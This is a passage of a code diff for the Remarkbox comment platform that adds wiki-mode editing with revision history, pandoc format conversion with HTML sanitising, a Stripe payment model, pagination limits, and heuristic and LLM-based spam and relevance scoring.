def can_wiki_edit(self, node, user):
|
||||||
|
"""Return True if user can wiki-edit this node.
|
||||||
|
|
||||||
|
Wiki mode: any authenticated user can edit root nodes.
|
||||||
|
Normal mode: only owner/moderator can edit.
|
||||||
|
"""
|
||||||
|
if not user or not user.authenticated:
|
||||||
|
return False
|
||||||
|
if self.can_alter_node(node, user):
|
||||||
|
return True
|
||||||
|
if self.wiki and node.is_root:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
def can_see_node(self, node, user):
|
def can_see_node(self, node, user):
|
||||||
visible = True
|
visible = True
|
||||||
if node.disabled:
|
if node.disabled:
|
||||||
|
|
@ -387,7 +441,8 @@ class Namespace(RBase, Base):
|
||||||
"timestamp" : root.created,
|
"timestamp" : root.created,
|
||||||
}
|
}
|
||||||
comments = []
|
comments = []
|
||||||
for node in root.children:
|
# Limit children per root to prevent unbounded JSON serialization (CWE-407).
|
||||||
|
for node in root.children.limit(500):
|
||||||
comment = {
|
comment = {
|
||||||
"date" : node.created_date,
|
"date" : node.created_date,
|
||||||
# TODO: when root.created becomes root.created_timestamp.
|
# TODO: when root.created becomes root.created_timestamp.
|
||||||
|
|
|
||||||
|
|
@ -4,7 +4,7 @@ from collections import (
|
||||||
)
|
)
|
||||||
|
|
||||||
from sqlalchemy import (
|
from sqlalchemy import (
|
||||||
BigInteger, Boolean, Column, Integer, Unicode, UnicodeText, or_, func
|
BigInteger, Boolean, Column, Float, Integer, Unicode, UnicodeText, or_, func
|
||||||
)
|
)
|
||||||
|
|
||||||
from sqlalchemy.orm import relationship, backref
|
from sqlalchemy.orm import relationship, backref
|
||||||
|
|
@ -71,6 +71,7 @@ class Node(RBase, Base):
|
||||||
title = Column(Unicode(256), default=None)
|
title = Column(Unicode(256), default=None)
|
||||||
data = Column(UnicodeText, default=None)
|
data = Column(UnicodeText, default=None)
|
||||||
data_html = Column(UnicodeText, default=None)
|
data_html = Column(UnicodeText, default=None)
|
||||||
|
source_format = Column(Unicode(16), default="markdown", nullable=False)
|
||||||
# the depth of this node in the thread's graph / tree.
|
# the depth of this node in the thread's graph / tree.
|
||||||
graph_depth = Column(Integer, nullable=False, default=-1)
|
graph_depth = Column(Integer, nullable=False, default=-1)
|
||||||
# TODO: someday this should be renamed to created_timestamp
|
# TODO: someday this should be renamed to created_timestamp
|
||||||
|
|
@ -84,6 +85,9 @@ class Node(RBase, Base):
|
||||||
locked = Column(Boolean, default=False)
|
locked = Column(Boolean, default=False)
|
||||||
# by default comments are approved. unless Namespace hide_unless_approved.
|
# by default comments are approved. unless Namespace hide_unless_approved.
|
||||||
approved = Column(Boolean, default=True)
|
approved = Column(Boolean, default=True)
|
||||||
|
# Spam detection: score (0.0-1.0) and human-readable reason from Hermes LLM.
|
||||||
|
spam_score = Column(Float, default=None)
|
||||||
|
spam_reason = Column(UnicodeText, default=None)
|
||||||
# is there a related Uri model to this node?
|
# is there a related Uri model to this node?
|
||||||
has_uri = Column(Boolean, default=False, nullable=False)
|
has_uri = Column(Boolean, default=False, nullable=False)
|
||||||
ip_address = Column(Unicode(45), default=None)
|
ip_address = Column(Unicode(45), default=None)
|
||||||
|
|
@ -233,6 +237,9 @@ class Node(RBase, Base):
|
||||||
def avatar_uri(self, **kwargs):
|
def avatar_uri(self, **kwargs):
|
||||||
"""Return invatar URI. Optionally return gravatar URI."""
|
"""Return invatar URI. Optionally return gravatar URI."""
|
||||||
u = self.user if self.user else self.user_surrogate
|
u = self.user if self.user else self.user_surrogate
|
||||||
|
if u is None:
|
||||||
|
# Node has no user or surrogate (e.g. imported wiki pages).
|
||||||
|
return None
|
||||||
if self.disabled:
|
if self.disabled:
|
||||||
kwargs["text"] = "-"
|
kwargs["text"] = "-"
|
||||||
kwargs["bg"] = "#aaaaaa"
|
kwargs["bg"] = "#aaaaaa"
|
||||||
|
|
@ -312,11 +319,34 @@ class Node(RBase, Base):
|
||||||
def enabled(self):
|
def enabled(self):
|
||||||
return not self.disabled
|
return not self.disabled
|
||||||
|
|
||||||
def set_data(self, data, namespace=None):
|
def set_data(self, data, namespace=None, dbsession=None, source_format=None):
|
||||||
if namespace is None:
|
if namespace is None:
|
||||||
namespace = self.root.namespace
|
namespace = self.root.namespace
|
||||||
|
if dbsession is None:
|
||||||
|
dbsession = self.dbsession
|
||||||
|
if source_format is not None:
|
||||||
|
self.source_format = source_format
|
||||||
self.data = data
|
self.data = data
|
||||||
self.data_html = markdown_to_html(data, namespace)
|
if not self.source_format or self.source_format == "markdown":
|
||||||
|
self.data_html = markdown_to_html(data, namespace, dbsession=dbsession)
|
||||||
|
elif self.source_format == "html":
|
||||||
|
from remarkbox.lib.pandoc import convert
|
||||||
|
# Convert HTML to markdown (clean it), then render through standard pipeline
|
||||||
|
cleaned = convert(data, from_format="html", to_format="markdown")
|
||||||
|
self.data = cleaned
|
||||||
|
self.source_format = "markdown"
|
||||||
|
self.data_html = markdown_to_html(cleaned, namespace, dbsession=dbsession)
|
||||||
|
else:
|
||||||
|
# Any other pandoc input format (rst, mediawiki, latex, etc.)
|
||||||
|
from remarkbox.lib.pandoc import convert
|
||||||
|
from remarkbox.lib.render import make_cleaner_from_namespace
|
||||||
|
from remarkbox.lib.sanitize_html import default_cleaner, clean_raw_html
|
||||||
|
html = convert(data, from_format=self.source_format, to_format="html5", standalone=False)
|
||||||
|
if namespace:
|
||||||
|
cleaner = make_cleaner_from_namespace(namespace)
|
||||||
|
else:
|
||||||
|
cleaner = default_cleaner()
|
||||||
|
self.data_html = clean_raw_html(html, cleaner)
|
||||||
|
|
||||||
def _invalidate_cache(self):
|
def _invalidate_cache(self):
|
||||||
if self.root.cache:
|
if self.root.cache:
|
||||||
|
|
@ -328,6 +358,30 @@ class Node(RBase, Base):
|
||||||
self.changed = now_timestamp()
|
self.changed = now_timestamp()
|
||||||
self._invalidate_cache()
|
self._invalidate_cache()
|
||||||
|
|
||||||
|
def wiki_edit(self, data, user=None, source_format=None):
|
||||||
|
"""Edit node in wiki mode, creating a revision of the previous state."""
|
||||||
|
from .revision import Revision
|
||||||
|
|
||||||
|
# Count existing revisions for this node
|
||||||
|
rev_count = self.dbsession.query(Revision).filter(
|
||||||
|
Revision.node_id == self.id
|
||||||
|
).count()
|
||||||
|
|
||||||
|
# Save current state as a revision
|
||||||
|
revision = Revision(
|
||||||
|
node=self,
|
||||||
|
user=user,
|
||||||
|
data=self.data or "",
|
||||||
|
source_format=self.source_format,
|
||||||
|
revision_number=rev_count + 1,
|
||||||
|
)
|
||||||
|
self.dbsession.add(revision)
|
||||||
|
|
||||||
|
# Apply the edit
|
||||||
|
if source_format:
|
||||||
|
self.source_format = source_format
|
||||||
|
self.edit(data)
|
||||||
|
|
||||||
def disable(self):
|
def disable(self):
|
||||||
"""disable node."""
|
"""disable node."""
|
||||||
self.disabled = True
|
self.disabled = True
|
||||||
|
|
@ -464,8 +518,9 @@ def get_root_nodes_by_keywords(dbsession, keywords, namespace=None):
|
||||||
for keyword in keywords:
|
for keyword in keywords:
|
||||||
|
|
||||||
# extend nodes, with a list of nodes which match this keyword.
|
# extend nodes, with a list of nodes which match this keyword.
|
||||||
|
# Limit per-keyword results to prevent memory exhaustion (CWE-407).
|
||||||
keyword_filter = Node.data.ilike("%{}%".format(keyword))
|
keyword_filter = Node.data.ilike("%{}%".format(keyword))
|
||||||
nodes.extend(node_query.filter(keyword_filter).all())
|
nodes.extend(node_query.filter(keyword_filter).limit(200).all())
|
||||||
|
|
||||||
# accumulate scores and root node objects.
|
# accumulate scores and root node objects.
|
||||||
for node in nodes:
|
for node in nodes:
|
||||||
|
|
@ -499,12 +554,49 @@ def get_nodes_who_share_roots(dbsession, root_nodes):
|
||||||
return get_nodes_who_share_roots_query(dbsession, root_nodes).all()
|
return get_nodes_who_share_roots_query(dbsession, root_nodes).all()
|
||||||
|
|
||||||
|
|
||||||
def get_nodes_who_share_root(dbsession, root_node, order="oldest-first"):
|
def get_nodes_who_share_root(dbsession, root_node, order="oldest-first",
|
||||||
|
limit=None, offset=None,
|
||||||
|
exclude_root=False,
|
||||||
|
visibility_filters=None):
|
||||||
|
"""Return nodes sharing a root, with optional pagination and SQL-side filtering.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
dbsession: SQLAlchemy session.
|
||||||
|
root_node: The root Node whose tree to query.
|
||||||
|
order: 'oldest-first' or 'newest-first'.
|
||||||
|
limit: Maximum number of rows to return (None = unlimited).
|
||||||
|
offset: Number of rows to skip (None = 0).
|
||||||
|
exclude_root: If True, exclude the root node itself from results.
|
||||||
|
visibility_filters: Optional dict of SQL visibility filters to apply.
|
||||||
|
Supported keys: disabled (bool), approved (bool), verified (bool).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
SQLAlchemy query object (call .all() to materialise).
|
||||||
|
"""
|
||||||
nodes = dbsession.query(Node).filter(Node.root_id == root_node.id)
|
nodes = dbsession.query(Node).filter(Node.root_id == root_node.id)
|
||||||
|
|
||||||
|
if exclude_root:
|
||||||
|
nodes = nodes.filter(Node.id != root_node.id)
|
||||||
|
|
||||||
|
# Apply SQL-side visibility filters
|
||||||
|
if visibility_filters:
|
||||||
|
if "disabled" in visibility_filters:
|
||||||
|
nodes = nodes.filter(Node.disabled == visibility_filters["disabled"])
|
||||||
|
if "approved" in visibility_filters:
|
||||||
|
nodes = nodes.filter(Node.approved == visibility_filters["approved"])
|
||||||
|
if "verified" in visibility_filters:
|
||||||
|
nodes = nodes.filter(Node.verified == visibility_filters["verified"])
|
||||||
|
|
||||||
if order == "oldest-first":
|
if order == "oldest-first":
|
||||||
nodes = nodes.order_by(Node.created)
|
nodes = nodes.order_by(Node.created)
|
||||||
elif order == "newest-first":
|
elif order == "newest-first":
|
||||||
nodes = nodes.order_by(Node.created.desc())
|
nodes = nodes.order_by(Node.created.desc())
|
||||||
|
|
||||||
|
if offset is not None:
|
||||||
|
nodes = nodes.offset(offset)
|
||||||
|
if limit is not None:
|
||||||
|
nodes = nodes.limit(limit)
|
||||||
|
|
||||||
return nodes
|
return nodes
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
109
remarkbox/models/payment.py
Normal file
|
|
@ -0,0 +1,109 @@
|
||||||
|
"""Payment model for tracking Stripe payments."""
|
||||||
|
|
||||||
|
from sqlalchemy import BigInteger, Column, Unicode, Enum
|
||||||
|
from sqlalchemy.orm import relationship
|
||||||
|
|
||||||
|
from .meta import Base, RBase, UUIDType, now_timestamp, foreign_key
|
||||||
|
|
||||||
|
from remarkbox.lib import timestamp_to_date
|
||||||
|
|
||||||
|
import uuid
|
||||||
|
|
||||||
|
|
||||||
|
class Payment(RBase, Base):
|
||||||
|
"""
|
||||||
|
Track payments made through Stripe Checkout.
|
||||||
|
|
||||||
|
Each payment record corresponds to a completed Stripe Checkout session.
|
||||||
|
"""
|
||||||
|
|
||||||
|
id = Column(UUIDType, primary_key=True, index=True)
|
||||||
|
|
||||||
|
# Link to user who made the payment
|
||||||
|
user_id = Column(UUIDType, foreign_key("User", "id"), index=True, nullable=False)
|
||||||
|
|
||||||
|
# Stripe session ID for reference
|
||||||
|
stripe_session_id = Column(Unicode(128), unique=True, nullable=False, index=True)
|
||||||
|
|
||||||
|
# Payment type: pay_what_you_want, annual, top_up
|
||||||
|
payment_type = Column(
|
||||||
|
Enum("pay_what_you_want", "annual", "top_up", name="payment_type_enum"),
|
||||||
|
nullable=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Amount in cents
|
||||||
|
amount_cents = Column(BigInteger, nullable=False)
|
||||||
|
|
||||||
|
# Duration in months (for annual/top_up payments)
|
||||||
|
duration_months = Column(BigInteger, default=0, nullable=False)
|
||||||
|
|
||||||
|
# Payment status: pending, completed, failed, refunded
|
||||||
|
status = Column(
|
||||||
|
Enum("pending", "completed", "failed", "refunded", name="payment_status_enum"),
|
||||||
|
default="pending",
|
||||||
|
nullable=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Timestamps
|
||||||
|
created_timestamp = Column(BigInteger, nullable=False)
|
||||||
|
completed_timestamp = Column(BigInteger, nullable=True)
|
||||||
|
|
||||||
|
# Relationship to user
|
||||||
|
user = relationship(
|
||||||
|
argument="User",
|
||||||
|
uselist=False,
|
||||||
|
lazy="joined",
|
||||||
|
back_populates="payments",
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self, user, stripe_session_id, payment_type, amount_cents, duration_months=0):
|
||||||
|
self.id = uuid.uuid1()
|
||||||
|
self.user_id = user.id
|
||||||
|
self.stripe_session_id = stripe_session_id
|
||||||
|
self.payment_type = payment_type
|
||||||
|
self.amount_cents = amount_cents
|
||||||
|
self.duration_months = duration_months
|
||||||
|
self.status = "pending"
|
||||||
|
self.created_timestamp = now_timestamp()
|
||||||
|
|
||||||
|
def mark_completed(self):
|
||||||
|
"""Mark payment as completed."""
|
||||||
|
self.status = "completed"
|
||||||
|
self.completed_timestamp = now_timestamp()
|
||||||
|
|
||||||
|
def mark_failed(self):
|
||||||
|
"""Mark payment as failed."""
|
||||||
|
self.status = "failed"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def amount_dollars(self):
|
||||||
|
"""Return amount in dollars."""
|
||||||
|
return self.amount_cents / 100.0
|
||||||
|
|
||||||
|
@property
|
||||||
|
def human_created_date(self):
|
||||||
|
"""Return human-readable creation date."""
|
||||||
|
return timestamp_to_date(self.created_timestamp)
|
||||||
|
|
||||||
|
|
||||||
|
def get_payment_by_session_id(dbsession, session_id):
|
||||||
|
"""Get payment by Stripe session ID."""
|
||||||
|
return (
|
||||||
|
dbsession.query(Payment)
|
||||||
|
.filter(Payment.stripe_session_id == session_id)
|
||||||
|
.one_or_none()
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def create_payment(dbsession, user, stripe_session_id, payment_type, amount_cents, duration_months=0):
|
||||||
|
"""Create a new payment record."""
|
||||||
|
payment = Payment(
|
||||||
|
user=user,
|
||||||
|
stripe_session_id=stripe_session_id,
|
||||||
|
payment_type=payment_type,
|
||||||
|
amount_cents=amount_cents,
|
||||||
|
duration_months=duration_months,
|
||||||
|
)
|
||||||
|
dbsession.add(payment)
|
||||||
|
dbsession.flush()
|
||||||
|
return payment
|
||||||
39
remarkbox/models/revision.py
Normal file
|
|
@ -0,0 +1,39 @@
|
||||||
|
"""Revision model — tracks edit history for wiki mode."""
|
||||||
|
|
||||||
|
from sqlalchemy import BigInteger, Column, Integer, Unicode, UnicodeText
|
||||||
|
from sqlalchemy.orm import relationship
|
||||||
|
|
||||||
|
import uuid
|
||||||
|
|
||||||
|
from .meta import Base, RBase, UUIDType, now_timestamp, foreign_key
|
||||||
|
|
||||||
|
|
||||||
|
class Revision(RBase, Base):
|
||||||
|
"""Stores a snapshot of node content before each edit.
|
||||||
|
|
||||||
|
When wiki mode is enabled on a namespace, every edit to a root node
|
||||||
|
creates a revision record preserving the previous state.
|
||||||
|
"""
|
||||||
|
id = Column(UUIDType, primary_key=True, index=True)
|
||||||
|
node_id = Column(UUIDType, foreign_key("Node", "id"), nullable=False, index=True)
|
||||||
|
user_id = Column(UUIDType, foreign_key("User", "id"), nullable=True)
|
||||||
|
data = Column(UnicodeText, nullable=False)
|
||||||
|
source_format = Column(Unicode(16), default="markdown", nullable=False)
|
||||||
|
revision_number = Column(Integer, nullable=False)
|
||||||
|
created = Column(BigInteger, nullable=False)
|
||||||
|
|
||||||
|
node = relationship("Node", backref="revisions")
|
||||||
|
user = relationship("User")
|
||||||
|
|
||||||
|
def __init__(self, node=None, user=None, data="", source_format="markdown", revision_number=1):
|
||||||
|
self.id = uuid.uuid1()
|
||||||
|
self.created = now_timestamp()
|
||||||
|
if node:
|
||||||
|
self.node_id = node.id
|
||||||
|
self.node = node
|
||||||
|
if user:
|
||||||
|
self.user_id = user.id
|
||||||
|
self.user = user
|
||||||
|
self.data = data
|
||||||
|
self.source_format = source_format
|
||||||
|
self.revision_number = revision_number
|
||||||
221
remarkbox/models/spam.py
Normal file
|
|
@ -0,0 +1,221 @@
|
||||||
|
"""
|
||||||
|
Spam scoring for Remarkbox.
|
||||||
|
|
||||||
|
Scores content on a 0.0-1.0 scale where higher = more likely spam.
|
||||||
|
Used by API views to reject or hold posts for moderation.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
from collections import defaultdict
|
||||||
|
|
||||||
|
from .node import Node
|
||||||
|
|
||||||
|
# In-memory caches (reset on process restart)
|
||||||
|
_recent_hashes = defaultdict(list) # {ip_or_user_key: [(hash, timestamp), ...]}
|
||||||
|
_disabled_ip_counts = {} # {ip: count} -- refreshed periodically
|
||||||
|
_disabled_ip_cache_time = 0
|
||||||
|
|
||||||
|
# Default spam patterns (common in comment spam)
|
||||||
|
DEFAULT_PATTERNS = [
|
||||||
|
r"buy\s+now",
|
||||||
|
r"click\s+here\s+to",
|
||||||
|
r"free\s+trial",
|
||||||
|
r"limited\s+time\s+offer",
|
||||||
|
r"act\s+now",
|
||||||
|
r"order\s+today",
|
||||||
|
r"100%\s+free",
|
||||||
|
r"make\s+money\s+fast",
|
||||||
|
r"work\s+from\s+home",
|
||||||
|
r"casino\s+online",
|
||||||
|
r"viagra|cialis",
|
||||||
|
r"payday\s+loan",
|
||||||
|
r"seo\s+service",
|
||||||
|
r"followers?\s+for\s+(free|sale|\$)",
|
||||||
|
r"crypto\s+invest",
|
||||||
|
]
|
||||||
|
|
||||||
|
_compiled_patterns = None
|
||||||
|
_custom_patterns = None
|
||||||
|
|
||||||
|
|
||||||
|
def _get_patterns(settings=None):
|
||||||
|
"""Load and compile spam patterns. Cached after first call."""
|
||||||
|
global _compiled_patterns, _custom_patterns
|
||||||
|
|
||||||
|
patterns_file = None
|
||||||
|
if settings:
|
||||||
|
patterns_file = settings.get("spam.patterns_file")
|
||||||
|
|
||||||
|
if _compiled_patterns is not None and _custom_patterns == patterns_file:
|
||||||
|
return _compiled_patterns
|
||||||
|
|
||||||
|
patterns = list(DEFAULT_PATTERNS)
|
||||||
|
|
||||||
|
if patterns_file and os.path.exists(patterns_file):
|
||||||
|
with open(patterns_file) as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if line and not line.startswith("#"):
|
||||||
|
patterns.append(line)
|
||||||
|
|
||||||
|
_compiled_patterns = [re.compile(p, re.IGNORECASE) for p in patterns]
|
||||||
|
_custom_patterns = patterns_file
|
||||||
|
return _compiled_patterns
|
||||||
|
|
||||||
|
|
||||||
|
def _content_hash(text):
|
||||||
|
"""Return a short hash of the text for duplicate detection."""
|
||||||
|
normalized = re.sub(r"\s+", " ", text.strip().lower())
|
||||||
|
return hashlib.md5(normalized.encode("utf-8")).hexdigest()[:16]
|
||||||
|
|
||||||
|
|
||||||
|
def _link_density(text):
|
||||||
|
"""Return the ratio of URL characters to total text length."""
|
||||||
|
if not text:
|
||||||
|
return 0.0
|
||||||
|
urls = re.findall(r"https?://\S+", text)
|
||||||
|
url_chars = sum(len(u) for u in urls)
|
||||||
|
return url_chars / len(text) if text else 0.0
|
||||||
|
|
||||||
|
|
||||||
|
def _link_count(text):
|
||||||
|
"""Return number of URLs in text."""
|
||||||
|
if not text:
|
||||||
|
return 0
|
||||||
|
return len(re.findall(r"https?://\S+", text))
|
||||||
|
|
||||||
|
|
||||||
|
def score_content(text, user=None, ip_address=None, dbsession=None, settings=None):
|
||||||
|
"""Score content for spam likelihood.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
text: The post content.
|
||||||
|
user: User object (may be None for anonymous).
|
||||||
|
ip_address: Client IP address string.
|
||||||
|
dbsession: SQLAlchemy session (for IP reputation checks).
|
||||||
|
settings: Pyramid registry settings dict.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(score, signals) where score is 0.0-1.0 and signals is a list
|
||||||
|
of strings describing what triggered.
|
||||||
|
"""
|
||||||
|
if not text:
|
||||||
|
return 0.0, []
|
||||||
|
|
||||||
|
signals = []
|
||||||
|
score = 0.0
|
||||||
|
|
||||||
|
# 1. Link density
|
||||||
|
density = _link_density(text)
|
||||||
|
links = _link_count(text)
|
||||||
|
if density > 0.5:
|
||||||
|
score += 0.4
|
||||||
|
signals.append("link_density:{:.0%}".format(density))
|
||||||
|
elif density > 0.3:
|
||||||
|
score += 0.2
|
||||||
|
signals.append("link_density:{:.0%}".format(density))
|
||||||
|
if links > 5:
|
||||||
|
score += 0.2
|
||||||
|
signals.append("link_count:{}".format(links))
|
||||||
|
|
||||||
|
# 2. Known spam patterns
|
||||||
|
patterns = _get_patterns(settings)
|
||||||
|
pattern_hits = 0
|
||||||
|
for pattern in patterns:
|
||||||
|
if pattern.search(text):
|
||||||
|
pattern_hits += 1
|
||||||
|
if pattern_hits >= 3:
|
||||||
|
score += 0.5
|
||||||
|
signals.append("spam_patterns:{}".format(pattern_hits))
|
||||||
|
elif pattern_hits >= 1:
|
||||||
|
score += 0.2
|
||||||
|
signals.append("spam_patterns:{}".format(pattern_hits))
|
||||||
|
|
||||||
|
# 3. Duplicate content (in-memory, recent posts by same IP/user)
|
||||||
|
key = None
|
||||||
|
if user and hasattr(user, "id"):
|
||||||
|
key = "user:{}".format(user.id)
|
||||||
|
elif ip_address:
|
||||||
|
key = "ip:{}".format(ip_address)
|
||||||
|
|
||||||
|
if key:
|
||||||
|
content_hash = _content_hash(text)
|
||||||
|
now = time.time()
|
||||||
|
cutoff = now - 3600 # Look back 1 hour
|
||||||
|
|
||||||
|
# Clean old entries
|
||||||
|
_recent_hashes[key] = [
|
||||||
|
(h, t) for h, t in _recent_hashes[key] if t > cutoff
|
||||||
|
]
|
||||||
|
|
||||||
|
# Check for duplicates
|
||||||
|
existing_hashes = [h for h, t in _recent_hashes[key]]
|
||||||
|
if content_hash in existing_hashes:
|
||||||
|
score += 0.4
|
||||||
|
signals.append("duplicate_content")
|
||||||
|
|
||||||
|
# Record this hash
|
||||||
|
_recent_hashes[key].append((content_hash, now))
|
||||||
|
|
||||||
|
# 4. New account velocity
|
||||||
|
if user and hasattr(user, "created"):
|
||||||
|
now_ms = int(time.time() * 1000)
|
||||||
|
account_age_ms = now_ms - user.created
|
||||||
|
one_hour_ms = 3600000
|
||||||
|
|
||||||
|
if account_age_ms < one_hour_ms:
|
||||||
|
# Account less than 1 hour old
|
||||||
|
node_count = user.nodes.count() if hasattr(user.nodes, "count") else 0
|
||||||
|
if node_count > 5:
|
||||||
|
score += 0.3
|
||||||
|
signals.append("new_account_velocity:{}posts_in_{}min".format(
|
||||||
|
node_count, account_age_ms // 60000
|
||||||
|
))
|
||||||
|
elif node_count > 2:
|
||||||
|
score += 0.1
|
||||||
|
signals.append("new_account_velocity:{}posts".format(node_count))
|
||||||
|
|
||||||
|
# 5. IP reputation (disabled posts from same IP)
|
||||||
|
if ip_address and dbsession:
|
||||||
|
global _disabled_ip_counts, _disabled_ip_cache_time
|
||||||
|
now = time.time()
|
||||||
|
|
||||||
|
# Refresh IP reputation cache every 5 minutes
|
||||||
|
if now - _disabled_ip_cache_time > 300:
|
||||||
|
_disabled_ip_counts = {}
|
||||||
|
_disabled_ip_cache_time = now
|
||||||
|
|
||||||
|
if ip_address not in _disabled_ip_counts:
|
||||||
|
count = (
|
||||||
|
dbsession.query(Node)
|
||||||
|
.filter(Node.ip_address == ip_address, Node.disabled == True)
|
||||||
|
.count()
|
||||||
|
)
|
||||||
|
_disabled_ip_counts[ip_address] = count
|
||||||
|
|
||||||
|
disabled_count = _disabled_ip_counts[ip_address]
|
||||||
|
if disabled_count > 3:
|
||||||
|
score += 0.3
|
||||||
|
signals.append("ip_reputation:{}disabled".format(disabled_count))
|
||||||
|
|
||||||
|
# 6. Content length anomalies (from new users)
|
||||||
|
is_new_user = False
|
||||||
|
if user and hasattr(user, "created"):
|
||||||
|
now_ms = int(time.time() * 1000)
|
||||||
|
is_new_user = (now_ms - user.created) < 86400000 # < 1 day
|
||||||
|
|
||||||
|
if is_new_user:
|
||||||
|
if len(text) < 10:
|
||||||
|
score += 0.1
|
||||||
|
signals.append("very_short_content")
|
||||||
|
elif len(text) > 50000:
|
||||||
|
score += 0.2
|
||||||
|
signals.append("very_long_content_new_user")
|
||||||
|
|
||||||
|
# Cap at 1.0
|
||||||
|
score = min(score, 1.0)
|
||||||
|
|
||||||
|
return score, signals
|
||||||
202
remarkbox/models/spam_llm.py
Normal file
|
|
@ -0,0 +1,202 @@
|
||||||
|
"""
|
||||||
|
LLM-based relevance checking for spam detection.
|
||||||
|
|
||||||
|
Uses an OpenAI-compatible inference endpoint (e.g. hermes.ai.unturf.com)
|
||||||
|
to check whether a post is relevant to its context (namespace or thread).
|
||||||
|
|
||||||
|
Configuration (from .ini):
|
||||||
|
spam.llm.enabled = true
|
||||||
|
spam.llm.endpoint = https://hermes.ai.unturf.com/v1/chat/completions
|
||||||
|
spam.llm.model = adamo1139/Hermes-3-Llama-3.1-8B-FP8-Dynamic
|
||||||
|
spam.llm.timeout = 5
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import urllib.request
|
||||||
|
import urllib.error
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Defaults
|
||||||
|
DEFAULT_ENDPOINT = "https://hermes.ai.unturf.com/v1/chat/completions"
|
||||||
|
DEFAULT_MODEL = "adamo1139/Hermes-3-Llama-3.1-8B-FP8-Dynamic"
|
||||||
|
DEFAULT_TIMEOUT = 5 # seconds
|
||||||
|
|
||||||
|
|
||||||
|
def _llm_request(endpoint, model, messages, timeout):
|
||||||
|
"""Make a chat completion request to an OpenAI-compatible endpoint."""
|
||||||
|
body = json.dumps({
|
||||||
|
"model": model,
|
||||||
|
"messages": messages,
|
||||||
|
"max_tokens": 150,
|
||||||
|
"temperature": 0.1,
|
||||||
|
}).encode("utf-8")
|
||||||
|
|
||||||
|
req = urllib.request.Request(
|
||||||
|
endpoint,
|
||||||
|
data=body,
|
||||||
|
headers={"Content-Type": "application/json"},
|
||||||
|
method="POST",
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
resp = urllib.request.urlopen(req, timeout=timeout)
|
||||||
|
data = json.loads(resp.read().decode("utf-8"))
|
||||||
|
return data["choices"][0]["message"]["content"].strip()
|
||||||
|
except (urllib.error.URLError, urllib.error.HTTPError, KeyError, Exception) as e:
|
||||||
|
log.warning("LLM relevance check failed: %s", e)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def check_thread_relevance(namespace_name, namespace_description, title, content, settings=None):
|
||||||
|
"""Check if a new thread is relevant to the namespace.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace_name: The namespace (e.g. "meta.remarkbox.com")
|
||||||
|
namespace_description: The namespace description (may be None)
|
||||||
|
title: The thread title
|
||||||
|
content: The thread body text
|
||||||
|
settings: Pyramid registry settings dict
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(relevant, explanation) where relevant is True/False/None (None = LLM unavailable)
|
||||||
|
"""
|
||||||
|
if not _is_enabled(settings):
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
endpoint, model, timeout = _get_config(settings)
|
||||||
|
|
||||||
|
ns_context = namespace_name
|
||||||
|
if namespace_description:
|
||||||
|
ns_context = "{} ({})".format(namespace_name, namespace_description)
|
||||||
|
|
||||||
|
messages = [
|
||||||
|
{
|
||||||
|
"role": "system",
|
||||||
|
"content": (
|
||||||
|
"You are a content moderation assistant. Your job is to determine if "
|
||||||
|
"a new discussion thread is relevant to the site it is being posted on. "
|
||||||
|
"Respond with exactly 'RELEVANT' or 'IRRELEVANT' on the first line, "
|
||||||
|
"followed by a brief one-sentence explanation."
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"role": "user",
|
||||||
|
"content": (
|
||||||
|
"Site: {ns}\n\n"
|
||||||
|
"New thread title: {title}\n\n"
|
||||||
|
"Thread content (first 500 chars):\n{content}\n\n"
|
||||||
|
"Is this thread relevant to this site?"
|
||||||
|
).format(
|
||||||
|
ns=ns_context,
|
||||||
|
title=title or "(no title)",
|
||||||
|
content=(content or "")[:500],
|
||||||
|
),
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
response = _llm_request(endpoint, model, messages, timeout)
|
||||||
|
return _parse_verdict(response)
|
||||||
|
|
||||||
|
|
||||||
|
def check_reply_relevance(thread_title, thread_content, parent_content,
|
||||||
|
reply_content, page_url=None, namespace_name=None,
|
||||||
|
settings=None):
|
||||||
|
"""Check if a reply is relevant to the thread.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
thread_title: Root thread title
|
||||||
|
thread_content: Root thread body (first 300 chars)
|
||||||
|
parent_content: Direct parent node body (first 300 chars)
|
||||||
|
reply_content: The reply being checked
|
||||||
|
page_url: Parent page URL if this is an embed-mode thread (may be None)
|
||||||
|
namespace_name: Namespace/site name (may be None)
|
||||||
|
settings: Pyramid registry settings dict
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(relevant, explanation) where relevant is True/False/None (None = LLM unavailable)
|
||||||
|
"""
|
||||||
|
if not _is_enabled(settings):
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
endpoint, model, timeout = _get_config(settings)
|
||||||
|
|
||||||
|
# Build context block -- include parent page info when available (embed mode)
|
||||||
|
context_parts = []
|
||||||
|
if namespace_name:
|
||||||
|
context_parts.append("Site: {}".format(namespace_name))
|
||||||
|
if page_url:
|
||||||
|
context_parts.append("Parent page URL: {}".format(page_url))
|
||||||
|
if thread_title:
|
||||||
|
context_parts.append("Thread title: {}".format(thread_title))
|
||||||
|
if thread_content:
|
||||||
|
context_parts.append(
|
||||||
|
"Thread content (first 300 chars):\n{}".format(
|
